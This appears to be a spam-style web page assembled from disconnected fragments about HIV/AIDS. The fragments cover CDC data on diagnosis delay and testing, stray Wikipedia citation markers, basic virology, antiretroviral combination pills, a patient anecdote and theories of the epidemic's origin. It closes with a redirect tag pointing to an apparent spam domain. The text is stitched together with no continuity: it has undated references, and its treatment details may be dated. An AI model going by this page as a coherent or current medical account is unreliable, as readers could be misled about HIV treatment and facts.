24. Centers for Disease Control and Prevention (CDC) (1984, 13 July) ‘Antibodies to a Retrovirus Etiologically Associated with Acquired Immunodeficiency Syndrome (AIDS) in Populations with Increased Incidences of the Syndrome’ 33(27):377-379
Results: An estimated 15% of persons living with HIV in 2015 were unaware of their infection. Among the 39,720 persons with HIV infection diagnosed in 2015, the estimated median diagnosis delay was 3.0 years (interquartile range = 0.7–7.8 years); diagnosis delay varied by race/ethnicity (from 2.2 years among whites to 4.2 years among Asians) and transmission category (from 2.0 years among females who inject drugs to 4.9 years among heterosexual males). Among interviewed through National HIV Behavioral Surveillance, 71% of men who have sex with men, 58% of persons who inject drugs, and 41% of heterosexual persons at increased risk for HIV infection reported testing in the past 12 months. In each risk group, at least two thirds of persons who did not have an HIV test had seen a health care provider in the past year.
AIDS is the disease caused by the damage that HIV does to your immune system. You have AIDS when you get rare, dangerous infections or have a super low number of CD4 cells. AIDS is the most serious stage of HIV, and it leads to death over time.
Infection with HIV generates an adaptive immune response that contains the virus but only very rarely, if ever, eliminates it. The time course of various elements in the adaptive immune response to HIV is shown, together with the levels of infectious virus in plasma, in Fig. 11.28.
Jump up ^ Moyer,, Virginia A. (April 2013). “Screening for HIV: U.S. Preventive Services Task Force Recommendation Statement”. Annals of Internal Medicine. doi:10.7326/0003-4819-159-1-201307020-00645.
HIV is a retrovirus. That is, it stores its genetic information as ribonucleic acid (RNA). Once inside a CD4+ lymphocyte, the virus uses an enzyme called reverse transcriptase to make a copy of its RNA, but the copy is made as deoxyribonucleic acid (DNA). HIV mutates easily at this point because reverse transcriptase is prone to making errors during the conversion of HIV RNA to DNA. These mutations make HIV more difficult to control because the many mutations increase the chance of producing HIV that can resist attacks by the person’s immune system and/or antiretroviral drugs.
Human immunodeficiency virus, or HIV, is the virus that causes AIDS. HIV/AIDS weakens a person’s ability to fight infections. It is contracted through unprotected sex or needle sharing. An HIV test confirms diagnosis. Medications may suppress the virus and delay the onset of AIDS.
AIDS is the most severe form of HIV infection. HIV infection is considered to be AIDS when at least one serious complicating illness develops or the number (count) of CD4+ lymphocytes decreases substantially.
He introduced me to one of his patients, whom I’ll call Gordon. A tall, genial man with rimless glasses stood up to shake my hand, and I saw that he had the signature protruding belly. He has been H.I.V.-positive for almost forty years, and he said he felt lucky to be alive: “A ten-year partner of mine who had the same strain of H.I.V., who ate the same food, had the same doctors, took the same early H.I.V. meds, died in June, 1990, almost twenty-five years ago.”
These subtypes are sometimes further split into sub-subtypes such as A1 and A2 or F1 and F2. In 2015, the strain CRF19, a recombinant of subtype A, subtype D and subtype G, with a subtype D protease, was found to be strongly associated with rapid progression to AIDS in Cuba. This is not thought to be a complete or final list, and further types are likely to be found.
The findings in this report are subject to at least four limitations. First, missing CD4 test results could be caused by either incomplete reporting or not having had a CD4 test done. However, 89.4% of persons with HIV infection diagnosed in 2015 had a first CD4 test after diagnosis reported by June 2017. Second, adjustment for missing risk factors might be inaccurate if factors associated with these were not accounted for in the model. Third, NHBS is not a nationally representative sample, so results are not generalizable to all cities or to all groups at high risk in participating cities. Finally, behavioral data are self-reported and subject to social desirability bias.
For people without a history of drug resistance, there are now two effective fixed-dose combination pills that include TDF plus FTC with either EFV (Sustiva) or RPV (Complera), both as a single pill that can be taken once per day. There is also a formulation of TAF plus FTC with RPV (Odefsey). The combination with RPV (Complera) was shown to be very effective and well tolerated but not as good at suppressing the viral load as the combination with EFV (Atripla), particularly amongst those who started therapy with higher viral loads and lower CD4 cell counts (for example, >100,000 copies/mL and <200 cells/mm3, respectively). It is currently recommended only for those that have viral load levels of <100,000 copies/mL and CD4 cell counts greater than 200 cells/mm3. In September, the WHO launched new treatment guidelines recommending that all people living with HIV should receive antiretroviral treatment, regardless of their CD4 count, and as soon as possible after their diagnosis.96 Jump up ^ Cohen, MS; Hellmann, N; Levy, JA; DeCock, K; Lange, J (April 2008). "The spread, treatment, and prevention of HIV-1: evolution of a global pandemic". The Journal of Clinical Investigation. 118 (4): 1244–54. doi:10.1172/JCI34706. PMC 2276790 . PMID 18382737. ^ Jump up to: a b c d e f g h i j k l m n o p q r Vogel, M; Schwarze-Zander, C; Wasmuth, JC; Spengler, U; Sauerbruch, T; Rockstroh, JK (July 2010). "The treatment of patients with HIV". Deutsches Ärzteblatt International. 107 (28–29): 507–15; quiz 516. doi:10.3238/arztebl.2010.0507. PMC 2915483 . PMID 20703338. Cross-sectional data reported in this analysis are from MSM, persons who inject drugs, and heterosexual persons at increased risk for HIV infection recruited for face-to-face interviews and HIV testing through venue-based sampling (MSM) and respondent-driven sampling (persons who inject drugs and heterosexual persons) in NHBS surveys from 2008 to 2016. NHBS sampling procedures have been previously described (10). Persons were eligible to participate if they resided in a participating city, could complete the survey in English or Spanish, and met cycle-specific inclusion criteria (MSM: born male, aged ≥18 years, identified as male, and had oral or anal sex with another man; persons who inject drugs: aged ≥18 years, injected drugs in the past 12 months; and heterosexual persons: male or female [not transgender], aged 18–60 years, had sex with a member of the opposite sex in the past 12 months, never injected drugs, and met low income or low education criteria).§ For inclusion in current analyses, participants must have tested negative during the NHBS cycle, MSM must have had sex with another man in the past 12 months, and persons who inject drugs must have been male or female (not transgender). Data were analyzed by sex, age, and race/ethnicity (American Indian or Alaska Native; Asian; black or African American [blacks]; Hispanic or Latino; Native Hawaiian or Other Pacific Islander; white; and multiple race). Specific proposed high-risk transmission channels, allowing the virus to adapt to humans and spread throughout the society, depend on the proposed timing of the animal-to-human crossing. Genetic studies of the virus suggest that the most recent common ancestor of the HIV-1 M group dates back to circa 1910. Proponents of this dating link the HIV epidemic with the emergence of colonialism and growth of large colonial African cities, leading to social changes, including different patterns of sexual contact (especially multiple, concurrent partnerships), the spread of prostitution, and the concomitant high frequency of genital ulcer diseases (such as syphilis) in nascent colonial cities. While transmission rates of HIV during vaginal intercourse are typically low, they are increased many fold if one of the partners suffers from a sexually transmitted infection resulting in genital ulcers. Early 1900s colonial cities were notable due to their high prevalence of prostitution and genital ulcers to the degree that as of 1928 as many as 45% of female residents of eastern Leopoldville were thought to have been prostitutes and as of 1933 around 15% of all residents of the same city were infected by one of the forms of syphilis. Other drugs can prevent or treat opportunistic infections (OIs). In most cases, these drugs work very well. The newer, stronger ARVs have also helped reduce the rates of most OIs. A few OIs, however, are still very difficult to treat. See Fact Sheet 500 for more information on opportunistic infections. The FDA approved the first home testing kit; a viral load test to measure the level of HIV in the blood; the first non-nucleoside transcriptase inhibitor (NNRTI) drug (nevirapine); and the first HIV urine test.66 HIV is a retrovirus that causes AIDS. HIV attacks the immune system. This system consists of cells and organs that protect the body against diseases like infections and cancer. HIV attacks the immune system through special types of white blood cell known as CD4 cells. CD4 cells play an important role in orchestrating and controlling the functions of the whole immune system. HIV-1 originated in Central Africa in the first half of the 20th century, when a closely related chimpanzee virus first infected humans. Epidemic global spread began in the late 1970s, and AIDS was recognized in 1981. Integrase strand transfer inhibitors (integrase inhibitors or integrases) stop HIV genes from becoming incorporated into the human cell's DNA and are very well tolerated. Raltegravir (Isentress) was the first drug in this class. Elvitegravir is part of a fixed-dose combination (elvitegravir/cobicistat/tenofovir/emtricitabine) taken as one pill once daily, called Stribild. Dolutegravir (Tivicay) is also available in a once-daily combination pill with two NRTIs, abacavir and lamivudine, called Triumeq. The α-chemokine SDF-1, a ligand for CXCR4, suppresses replication of T-tropic HIV-1 isolates. It does this by down-regulating the expression of CXCR4 on the surface of HIV target cells. M-tropic HIV-1 isolates that use only the CCR5 receptor are termed R5; those that use only CXCR4 are termed X4, and those that use both, X4R5. However, the use of co-receptor alone does not explain viral tropism, as not all R5 viruses are able to use CCR5 on macrophages for a productive infection and HIV can also infect a subtype of myeloid dendritic cells, which probably constitute a reservoir that maintains infection when CD4+ T cell numbers have declined to extremely low levels. [redirect url='http://penetratearticles.info/bump' sec='7']